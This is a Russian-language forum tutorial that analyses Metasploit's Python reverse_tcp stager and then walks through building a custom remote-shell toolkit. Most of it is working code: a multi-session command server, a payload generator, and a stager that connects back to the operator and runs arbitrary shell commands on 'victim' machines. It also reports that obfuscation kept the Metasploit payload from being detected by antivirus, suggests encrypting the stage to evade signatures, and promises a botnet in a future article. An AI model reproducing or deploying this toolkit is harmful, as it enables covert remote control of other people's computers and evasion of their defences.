Предисловие
Доброго времени суток, коллеги, сегодня хотелось бы поговорить с вами на тему того, как же работает Handler Metaspolit'a, что генерирует msfenom для python и почему эти payload'ы детектятся.
На написание данной статьи меня подвигли очень часто встречающиеся как и на форуме, так и в личных сообщениях вопросы по типу "как закриптовать payload?", "почему антивирусник ругается на сгенерированный файл" и все в таком духе.
Если честно до этого момента я не очень-то и пользовался автоматически сгенерированными payload'ами и понятия не имею что внутри них происходит, но давайте разбираться вместе.
Для этого нам понадобится:
- Установленный Metasploit, как его поставить на свой компьютер можете почитать
Ссылка скрыта от гостей, а статья по установке Metasploit на телефон находиться здесь.
- Python 3.6 или версии выше, скачать и установить можете с
Ссылка скрыта от гостей
- Исследовательский интерес ко всему происходящему.
Акт I - зрим в корень
В первую очередь давайте сгенерируем сам payload при помощи команды:
Bash:
msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 > ~/payload.py
Код:
nano payload.py
Python:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9')
exec() динамически исполняет переданный в него код, если вызван без аргументов то возвращает False Более подробно можете почитать
Ссылка скрыта от гостей
Python:
import base64
text = 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9'
decode_text = base64.b64decode(text)
print(decode_text.decode(encoding='utf-8'))
Python:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('127.0.0.1',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s}
Как нам становиться ясно, в выше переведенном коде происходит импорт трех стандартных модулей:
socket - для использования как ни странно сокетов, struct для работы с многобайтовыми типами данных и time - модуль для работы со временем.
Далее объявляется цикл с десятью итерациями, где в каждой итерации происходит попытка установить соединение по TCP/IP с IP адресом 127.0.0.1 через 4444 порт и если удачно то цикл прерывается, а если нет, то происходит пяти секундный таймаут и запускается новая итерация. Кстати, не совсем понятно для чего нужна именно библиотека TIME ведь в классе socket из модуля socket есть метод settimeout() для этих целей. Но да ладно, далее по коду, если попытка соединения была удачной, то идет ожидание данных от сервера которые в свою очередь обрабатываются через модуль struct и передаются в exec() .
Рассмотрев этот код, мы должны понять, что сам payload вряд-ли представляет интерес для антивирусного ПО, ибо в нем нет ничего криминального.
Наверное, дело как раз в том коде, который посылает payload'у сервер.
Пора глянуть что же там. Для этого запустим handler msf с ожиданием полезной нагрузки python/meterpreter/reverse_tcp следующей командой:
Bash:
sudo msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST {ip адресс handler'а}
msf5 exploit(multi/handler) > set LPORT {незанятый порт который будт слушать handler}
msf5 exploit(multi/handler) > run
Python:
pip install pwntools
Python:
import pwn
s = pwn.connect(str"{ip адресс handler'а}", int(порт который слушает handler))
s.interactive()
Более подробно с библиотекой можно ознакомиться
Ссылка скрыта от гостей
Запускаем и смотрим. Вот что мы получили в результате:1400 строк кода, вот, что прислал нам Msf Handler, в этой статье мы не будем анализировать этот код, но если вам интересно сделать это самостоятельно, то оставляю вам ссылку на
Ссылка скрыта от гостей
. Загрузил его на пастебин для вашего удобства.Теперь проверим, что думают антивирусники по этому поводу:
Сказать честно, очень удивлен, что детект настолько низкий, так же я посмотрел как работают другие reverse tcp payload'ы и все оказалось то же самое.
Payload открывает соединение, принимает основной код и выполняет его. Так же я в качестве эксперимента, обфусцировал возвращаемый Hendler'oм код при помощи библиотеки pyminifier и получил вот такой результат сканирования на virustotal:
Мой касперский при запуске обфускцированого кода тоже не стал ругаться. И если вам по какой-то причине очень сильно хочется использовать сгенерериованые msfvenom'oм полезные нагрузки, в тоже время у вас нет желания, чтобы они детектились антивирусами при сигнатурном анализе, вы можете модефицировать файл с полезной нагрузкой таким образом, что бы он не сразу выполнял код который присылает handler, а сначала шифровал этот код, но как это сделать, в другой раз, ведь сейчас мы переходим к той части статьи, ради которой она и задумывалась. А именно, мы приступаем к разработке собственного инструментария !
АКТ II - что нам стоит remote shell построить
В этой части статьи перед нами стоит цель написать свой генератор полезных нагрузок, сервер который будет отвечать за то, чтобы принимать подключения и отсылать наши команды удаленному хосту, ну и собственно сам payload, используя только стандартные библиотеки. Как итог у нас будет три файла:
server.py, generator.py и payload.py
С файлами разобрались и я предлагаю вам начать разработку с главного, а именно с сервера, постараемся определиться с архитектурой и учесть некоторые моменты которые связанные с клиент-серверными приложениями.
Мы будем использовать парадигму ООП, но даже если вы не знакомы с таким понятием, по ходу дела я постараюсь объяснить вам все, максимально доступным образом.
На этот раз классов у нас будет всего 3 это:
- Class Server - отвечающий за то что бы ожидать соединения и добавлять новые сессии в список.
- Class HandlerCommand- который будет отвечать за логику общения с удаленным хостом.
- Class RunProgram - который будет отвечать за создание объектов других классов и вывода некоторых методов в отдельные фоновые потоки.
Server.py
Объявляем первый класс Server и метод конструктора класса __init__:
Python:
class Server:
def __init__(self, ip: str, port: int, max_connect: int):
self.__server_ip = ip
self.__server_port = port
self.__server_max_connect = max_connect
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.clients_list = {}
self.__clients_counter = 0
self.run = True
Двойное подчеркивание "__" перед именем переменной означает то, что эта переменная будет приватной и к ней будет нельзя обратиться за пределами этого класса, я решил это сделать по той причине, что если кому-то из вас захочется доработать функционал других классов, например, HandlerCommand, вы случайно ничего не сломали в классе Server. Так же в классе Server мы объявляем некоторые свойства, socket для работы с сокетом, client_list - куда мы будем складывать список сессий и счетчик клиентов, для того что бы давать уникальные имена установленным подключениям.
Первый метод будет у нас очень простым:
Python:
def start_server(self) -> str:
self.socket.bind((self.__server_ip, self.__server_port))
self.socket.listen(self.__server_max_connect)
return f'[*] server is running on ip {self.__server_ip} and port {self.__server_port}'
Второй метод класса:
Python:
def waiting_connection(self):
while self.run:
__client_connect, __client_data = self.socket.accept()
print(f'[+] Created a session with {__client_data[0]} \n')
__client_connect.settimeout(10)
self.append_clients_list(__client_connect, __client_data)
Если подключение произошло, метод выводит на печать в консоль сообщение что создана новая сессия, затем устанавливает таймаут в 10 секунд для нового клиента, это будет использоваться в тех случаях, когда сервер отправит клиенту какую-то информацию, если в течении этих 10 секунд не получит ответа то вернет нам timeout error. Далее этот метод передает нашему следующему методу в качестве аргументов значение переменных __client_connect и __client_data.
Метод номер три, последний метод этого класса:
Python:
def append_clients_list(self, client_connect: object, client_data: list):
self.__clients_counter += 1
self.clients_list[f'session {self.__clients_counter}'] = {'session name': f'session {self.__clients_counter}',
'ip': client_data[0],
'socket id': client_data[1],
'client connect': client_connect}
И пробуем подключиться к серверу:
Как вы видите, подключение произошло, сервер выдал нам на печать об этом уведомление и все работает.
Так же в дальнейшем вы можете использовать этот класс в своих клиент серверных приложениях, но учтите, для "боевых" задач, ему необходимо будет добавить еще методов например таких как остановка сервера, перезапуск сервера и всевозможные обработчики исключений которые могут произойти.
Пришло время для второго класса HandlerCommand, как мы помним он у нас для работы с активными сессиями. Пора объявить его а так же метод конструктора класса __init__:
Python:
class HandlerCommand:
def __init__(self):
self.set_command = ''
self.clients_list = programm.new_server.clients_list
Python:
def choice_command(self):
self.set_command = input('$: ')
print(self.process_command(command=self.set_command))
А вот второй метод этого класса, как раз и будет нашим обработчиком введенных оператором комманд:
Python:
def process_command(self, command: str = 'help') -> str:
result_command = None
if command.lower() == 'list' or command.lower() == 'sessions':
result_command = self.get_active_sessions()
elif len(command.split(' ')) == 2 and command.lower().split(' ')[0] == 'get' and command.split(' ')[1].isdigit():
self.get_shell_sessions(command.split(' ')[1])
elif command.lower() == 'help':
result_command = """Commands:
list or sessions - displays a list of active connections.
get {session number} - returns remote access over the session of the corresponding number.
help - displays this information.
"""
else:
result_command = '[!] Command not found ! Enter "help" to get a list of all commands.'
return result_command
Первое условие очень простое, если в качестве аргумента этот метод принял строку "list" или "sessions", то он обращается к методу get_active_sessions, его мы напишем следующим. Вторая проверка условий работает так - если переданный аргумент состоит из двух частей и первая часть равна строке get а вторая часть состоит только из цифр то обращаемся к методу get_shell_sessions передавая ему в качестве аргумента именно вторую часть, которая состоит из цифр. Когда мы реализуем метод получения шелла сессий, все станет чуть более понятно. Ну и третья проверка - если в качестве аргумента была передана строка "help" возвращаем описание по имеющимся командам.
Если не одно из условий не сработало, говорим оператору что его команда не найдена и он может воспользоваться help'ом, дабы получить весь список команд. В дальнейшем вы сможете реализовать более обширный функционал дописав свои методы и обработчики для команд.
Следующий у нас на очереди метод get_active_sessions:
Python:
def get_active_sessions(self) -> str:
__list_active_session = []
try:
for client in self.clients_list:
try:
self.clients_list.get(client).get('client connect').send(bytes('beacon', encoding='utf-8'))
__list_active_session.append(self.clients_list.get(client).get('session name'))
except ConnectionAbortedError:
self.clients_list.pop(client)
continue
except ConnectionResetError:
self.clients_list.pop(client)
continue
except RuntimeError:
pass
result = '-------- ACTIVE SESSIONS --------' + '\n' + ' '.join(__list_active_session)
return result
Так вот, после отправки нами сообщения мы смотрим, было ли оно доставлено и если все так, добавим имя клиента который активен в массив __list_active_session, а дальше обрабатываем исключения таким образом, что если по каким-то причинам соединение с клиентом было разорвано, то такого клиента мы удаляем из clients_list, дабы в дальнейшем к нему не пытаться обращаться в нашем цикле.
Если по какой-то причине (как было замечено, такое происходит когда клиент отключается во время проверки активных сессий) мы выйдем за приделы списка, то просто ничего не делаем и переходим к тому, чтобы вернуть строку, в которой будут все наши активные клиенты. Надеюсь, это все не очень сложно и вы понимаете, что происходит в данном коде. Следом давайте запустим наш сервер и попробуем подключить несколько клиентов, получить список активных сессий, отключить некоторых из клиентов и получить новый список.
Думаю на скриншотах видно, что мы с успехом получаем активные в данный момент сессии. Теперь перейдем к написанию последнего метода для этого класcа get_shell_sessions:
Python:
def get_shell_sessions(self, session_number):
while True:
shell_command = input(r'command: ')
if shell_command.lower() == 'q' or shell_command.lower() == 'quit':
self.choice_command()
break
else:
self.clients_list.get(f'session {session_number}').get('client connect').send(bytes(shell_command, encoding='utf-8'))
try:
result_shell_command = self.clients_list.get(f'session {session_number}').get('client connect').recv(1024)
except socket.timeout:
print('[!] Command failed. Time out.')
continue
except ConnectionAbortedError:
self.choice_command()
break
try:
result_shell_command = result_shell_command.decode(encoding='utf-8')
except UnicodeDecodeError:
result_shell_command = result_shell_command.decode(encoding='windows-1251')
print(result_shell_command)
Здесь на вход мы принимаем, что один аргумент, который нам должен был послать обработчик команд, что мы разбирали выше. Далее в бесконечном цикле мы предоставляем оператору возможность ввода команд для конкретной сессии, если веденная команда будет равна "q" или "quit" - нас вернет к методу в котором мы могли смотреть список сессий и выбирать их для получения шелла.
В ином случае введенная оператором команда будет передана к удаленному клиенту. Далее мы ожидаем ответ о выполнении команды и, если в течении десяти секунд ответ получен не будет (длительного ожидания ответа, как вы помните, мы задавали в методе waiting_connection, который имеет пренадлежность классу Server вот в этой переменной __client_connect.settimeout(10)), то мы сообщим что время ожидания вышло, если по какой то причине соединение будет разорвано, мы так же вернемся к выбору сессий.
И в последнем блоке мы пытаемся расшифровать байтовый ответ от клиента под кодировку utf-8 и если это не получается, делаем это под кодировку windows-1251, это реализовано так, потому что на машинах в которых установлен русский язык - вывод консоли возвращается именно в этой кодировке.
На этом описание данного класса закончено. Остался последний класс RunProgram, объявляем его и метод конструктора __init__:
Python:
class RunProgram:
def __init__(self, ip_address, port_number):
self.new_server = Server(ip=ip_address, port=port_number, max_connect=10)
self.run_background_listener = threading.Thread(target=self.new_server.waiting_connection)
У этого класса будет всего один метод и вот он:
Python:
def main(self):
print(self.new_server.start_server())
self.run_background_listener.start()
self.run_background_listener.daemon
И запускаем наш сервер вот так:
Код:
if __name__ == '__main__':
programm = RunProgram(ip_address='172.18.12.13', port_number=4545)
programm.main()
handler = HandlerCommand()
while True:
handler.choice_command()
с файлом Server.py мы закончили и большая часть работы уже завершена. Но мы с вами еще вернемся к нему после того как напишем генератор и сам пайлоад.
Generator.py
Тут не будет ничего сложного и страшного нам понадобиться всего одна библиотека argparse, файл generator.py будет для понимания легче, чем server.py и состоять будет только из одного класса, так что давайте не будем медлить и объявим его и такой уже родной, метод конструктора класса:
Python:
class GeneratorPayload:
def __init__(self):
self.user_settings = argparse.ArgumentParser(description='Instructions for using the program')
self.user_settings.add_argument('-LHOST', default=str('"127.0.0.1"'), nargs='?', help='ip address your listener')
self.user_settings.add_argument('-LPORT', default=int(4444), nargs='?', help='port number your listener')
self.user_settings.add_argument('-NAME', default=str('payload.py'), nargs='?', help='name your payload')
self.payload_settings = self.user_settings.parse_args()
Python:
def generate_payload(self):
payload = f'''
import socket
LHOST: str = {self.payload_settings.LHOST}
LPORT: int = {self.payload_settings.LPORT}
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
'''
self.save_payload(payload)
Дописывает последний метод:
Python:
def save_payload(self, configured_payload):
output_file = open(self.payload_settings.NAME, 'w')
output_file.write(configured_payload)
output_file.close()
Все получилось так как мы и задумывали, полезная нагрузка сгенерирована с теме парамтрами которые мы и указали.
Payload.py
Пару слов о созданной нами нагрузке думаю все же нужно сказать, хоть ее код и будет для большинства очень очевиден:
Python:
import socket
LHOST: str = "172.18.12.13"
LPORT: int = 4545
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
exec(s.recv(4096).decode(encoding='utf-8'))
Предвижу очевидный вопрос, какой код ? Мы же ничего такого в файле server.py не писали ? Да, это верно, но так же я и говорил, что мы вернемся еще к редактированию файла server.py.
Я решил вынести код который будет передаваться нашей полезной нагрузке именно в этот блок статьи, так как он выполняется все же в payload.py и дабы не захламлять кодом и без того большой файл. Сейчас нам необходимо вернуться к методу waiting_connection класса Server который мы описали в файле server.py и в этом методе после строки № 4 ( __client_connect.settimeout(10) ) следует добавить вот такой код:
Python:
__client_connect.send(bytes(payload_output_server, encoding='utf-8'))
Python:
payload_output_server = """
import os
import subprocess
while True:
try:
a = s.recv(4096)
except ConnectionResetError:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
a = s.recv(4096)
a = a.decode(encoding='utf-8')
command = a
if command.lower() == 'beacon':
continue
try:
if command.lower().split(' ')[0] == 'cd':
os.chdir(command.split(' ')[1])
except IndexError:
pass
except FileNotFoundError:
s.send(bytes(f"[!] The system cannot find the path specified: {command.split(' ')[1]}", encoding='utf-8'))
continue
except PermissionError:
s.send(bytes(f"[!] Access denied: {command.split(' ')[1]}", encoding='utf-8'))
if len(command) > 0:
a = subprocess.Popen(command[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
out_bit = a.stdout.read() + a.stderr.read()
try:
convert_out_bit_str = out_bit.decode(encoding='utf-8')
except UnicodeDecodeError:
convert_out_bit_str = out_bit.decode(encoding='windows-1251')
s.send(bytes(convert_out_bit_str, encoding='utf-8'))
else:
continue
"""
АКТ III - один раз напиши, семь раз потесть
С программированием на сегодня все, было больно, но, надеюсь, вы справились и поняли, что и как работает в коде, который представлен выше. Теперь пришло время для проведения лабораторных тестов того чуда которое мы с вами создали.
Давайте условимся так:
- В качестве сервера будет выступать машина на Kali linux с ip 172.18.12.12
- В качестве жертвы № 1 машина на Windows 10, с корпоративным касперским на борту, которая имеет ip 172.18.12.13
- В качестве жертвы № 2 будет машина под управлением Astra Linux с ip адресом ip 172.18.12.61
Теперь запустим на Astra Linux
Давайте попробуем ввести несколько комманд и посмотреть как это отработает.
Как видим, команды выполняются, ответ от cli удаленного клиента приходит и все у нас получилось как и было задумано. На этом тесты завершаем.
Послесловие
Спасибо вам, если дочитали до этого момента, статья получилась обширной и немного сумбурной, но в свое оправдание скажу, что никогда не занимался написанием подобного. Этим материалом я хотел немного расширить ваше понимание того, как работает обратное подключение и handler Metasploit Framework. Надеюсь, вам было интересно и вы узнали для себя что-то новое. Исходный код я прикреплю к статье в виде архива, вы можете использовать его и модифицировать по своему усмотрению. Если статья наберет много лайкосиков, то в следующий раз напишем с вами полноценный ботнет на каком-нибудь асинхронном фреймворке с gui панелью управлений и прочими плюшками. А на сегодня всё. Всем удачи и пишите комментарии.
Вложения
Последнее редактирование модератором: